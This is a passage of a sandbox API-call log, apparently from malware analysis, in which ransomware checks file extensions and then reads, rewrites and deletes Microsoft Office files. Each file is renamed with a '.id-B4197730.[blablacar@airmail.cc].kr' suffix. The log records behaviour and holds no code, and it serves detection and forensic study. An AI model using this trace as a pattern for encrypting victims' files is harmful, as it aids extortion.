lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.913] lstrlenW (lpString=".xlsx") returned 5 [0183.913] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.913] lstrlenW (lpString=".ppt") returned 4 [0183.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.913] lstrlenW (lpString=".zip") returned 4 [0183.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.913] lstrlenW (lpString=".rar") returned 4 [0183.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString=".bz2") returned 4 [0183.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.914] lstrlenW (lpString=".7z") returned 3 [0183.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.914] lstrlenW (lpString=".dbf") returned 4 [0183.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.914] lstrlenW (lpString=".1cd") returned 4 [0183.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.914] lstrlenW (lpString=".jpg") returned 4 [0183.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.914] lstrlenW (lpString=".doc") returned 4 [0183.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString=".docx") returned 5 [0183.914] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.914] lstrlenW (lpString=".pdf") returned 4 [0183.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString=".xls") returned 4 [0183.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString=".xlsx") returned 5 [0183.914] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.914] lstrlenW (lpString=".ppt") returned 4 [0183.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.914] lstrlenW (lpString=".zip") returned 4 [0183.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.914] lstrlenW (lpString=".rar") returned 4 [0183.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.915] lstrlenW (lpString=".bz2") returned 4 [0183.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.915] lstrlenW (lpString=".7z") returned 3 [0183.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.915] lstrlenW (lpString=".dbf") returned 4 [0183.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.915] lstrlenW (lpString=".1cd") returned 4 [0183.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.915] lstrlenW (lpString=".jpg") returned 4 [0183.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.915] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.915] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0183.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.916] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=21184) returned 1 [0183.916] CloseHandle (hObject=0x4d8) returned 1 [0183.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0183.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.916] lstrlenW (lpString=".doc") returned 4 [0183.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.916] lstrlenW (lpString=".docx") returned 5 [0183.916] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.916] lstrlenW (lpString=".pdf") returned 4 [0183.916] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.916] lstrlenW (lpString=".xls") returned 4 [0183.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.916] lstrlenW (lpString=".xlsx") returned 5 [0183.916] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.916] lstrlenW (lpString=".ppt") returned 4 [0183.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.917] lstrlenW (lpString=".zip") returned 4 [0183.917] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString=".rar") returned 4 [0183.917] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString=".bz2") returned 4 [0183.917] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.917] lstrlenW (lpString=".7z") returned 3 [0183.917] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.917] lstrlenW (lpString=".dbf") returned 4 [0183.917] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.917] lstrlenW (lpString=".1cd") returned 4 [0183.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.917] lstrlenW (lpString=".jpg") returned 4 [0183.917] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.917] lstrlenW (lpString=".doc") returned 4 [0183.917] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString=".docx") returned 5 [0183.917] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.917] lstrlenW (lpString=".pdf") returned 4 [0183.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString=".xls") returned 4 [0183.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString=".xlsx") returned 5 [0183.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.917] lstrlenW (lpString=".ppt") returned 4 [0183.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.918] lstrlenW (lpString=".zip") returned 4 [0183.918] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.918] lstrlenW (lpString=".rar") returned 4 [0183.918] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.918] lstrlenW (lpString=".bz2") returned 4 [0183.918] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.918] lstrlenW (lpString=".7z") returned 3 [0183.918] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.918] lstrlenW (lpString=".dbf") returned 4 [0183.918] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.918] lstrlenW (lpString=".1cd") returned 4 [0183.918] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0183.918] lstrlenW (lpString=".jpg") returned 4 [0183.918] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.918] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.918] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0183.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.919] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19136) returned 1 [0183.919] CloseHandle (hObject=0x4d8) returned 1 [0183.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0183.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0183.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0183.920] lstrlenW (lpString=".doc") returned 4 [0183.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.920] lstrlenW (lpString=".docx") returned 5 [0183.920] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0183.920] lstrlenW (lpString=".pdf") returned 4 [0183.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.920] lstrlenW (lpString=".xls") returned 4 [0183.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.920] lstrlenW (lpString=".xlsx") returned 5 [0183.920] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0183.920] lstrlenW (lpString=".ppt") returned 4 [0183.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0183.920] lstrlenW (lpString=".zip") returned 4 [0183.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.920] lstrlenW (lpString=".rar") returned 4 [0183.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.920] lstrlenW (lpString=".bz2") returned 4 [0183.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.920] lstrlenW (lpString=".7z") returned 3 [0183.920] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0183.920] lstrlenW (lpString=".dbf") returned 4 [0183.920] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.943] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.943] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.944] GetLastError () returned 0x0 [0184.944] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1b3a, lpOverlapped=0x0) returned 1 [0184.945] WriteFile (in: hFile=0x53c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1b40, lpOverlapped=0x0) returned 1 [0184.947] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.947] WriteFile (in: hFile=0x53c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.947] SetEndOfFile (hFile=0x53c) returned 1 [0184.947] CloseHandle (hObject=0x53c) returned 1 [0184.947] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.947] SetEndOfFile (hFile=0x4d8) returned 1 [0184.950] CloseHandle (hObject=0x4d8) returned 1 [0184.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.951] lstrlenW (lpString=".doc") returned 4 [0184.951] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.951] lstrlenW (lpString=".docx") returned 5 [0184.951] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.951] lstrlenW (lpString=".pdf") returned 4 [0184.951] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.951] lstrlenW (lpString=".xls") returned 4 [0184.951] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.951] lstrlenW (lpString=".xlsx") returned 5 [0184.951] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.951] lstrlenW (lpString=".ppt") returned 4 [0184.951] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.951] lstrlenW (lpString=".zip") returned 4 [0184.951] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.951] lstrlenW (lpString=".rar") returned 4 [0184.951] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.951] lstrlenW (lpString=".bz2") returned 4 [0184.951] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.951] lstrlenW (lpString=".7z") returned 3 [0184.951] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.951] lstrlenW (lpString=".dbf") returned 4 [0184.952] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.952] lstrlenW (lpString=".1cd") returned 4 [0184.952] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.952] lstrlenW (lpString=".jpg") returned 4 [0184.952] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.952] lstrlenW (lpString=".doc") returned 4 [0184.952] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.952] lstrlenW (lpString=".docx") returned 5 [0184.952] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.952] lstrlenW (lpString=".pdf") returned 4 [0184.952] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.952] lstrlenW (lpString=".xls") returned 4 [0184.952] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.952] lstrlenW (lpString=".xlsx") returned 5 [0184.952] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.952] lstrlenW (lpString=".ppt") returned 4 [0184.952] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.952] lstrlenW (lpString=".zip") returned 4 [0184.952] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.952] lstrlenW (lpString=".rar") returned 4 [0184.952] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.952] lstrlenW (lpString=".bz2") returned 4 [0184.952] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.952] lstrlenW (lpString=".7z") returned 3 [0184.952] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.952] lstrlenW (lpString=".dbf") returned 4 [0184.952] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.953] lstrlenW (lpString=".1cd") returned 4 [0184.953] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0184.953] lstrlenW (lpString=".jpg") returned 4 [0184.953] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.953] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.953] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0184.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.953] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5440) returned 1 [0184.953] CloseHandle (hObject=0x4d8) returned 1 [0184.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0184.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.954] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.954] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.955] GetLastError () returned 0x0 [0184.955] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1540, lpOverlapped=0x0) returned 1 [0184.975] WriteFile (in: hFile=0x53c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1550, lpOverlapped=0x0) returned 1 [0184.976] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.976] WriteFile (in: hFile=0x53c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.976] SetEndOfFile (hFile=0x53c) returned 1 [0184.976] CloseHandle (hObject=0x53c) returned 1 [0184.976] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.976] SetEndOfFile (hFile=0x4d8) returned 1 [0184.979] CloseHandle (hObject=0x4d8) returned 1 [0184.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0185.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.157] lstrlenW (lpString=".doc") returned 4 [0185.157] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.157] lstrlenW (lpString=".docx") returned 5 [0185.157] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.157] lstrlenW (lpString=".pdf") returned 4 [0185.157] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.157] lstrlenW (lpString=".xls") returned 4 [0185.157] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.157] lstrlenW (lpString=".xlsx") returned 5 [0185.157] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.157] lstrlenW (lpString=".ppt") returned 4 [0185.157] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.157] lstrlenW (lpString=".zip") returned 4 [0185.157] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.157] lstrlenW (lpString=".rar") returned 4 [0185.157] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.157] lstrlenW (lpString=".bz2") returned 4 [0185.157] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.157] lstrlenW (lpString=".7z") returned 3 [0185.157] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.157] lstrlenW (lpString="C:\\Program 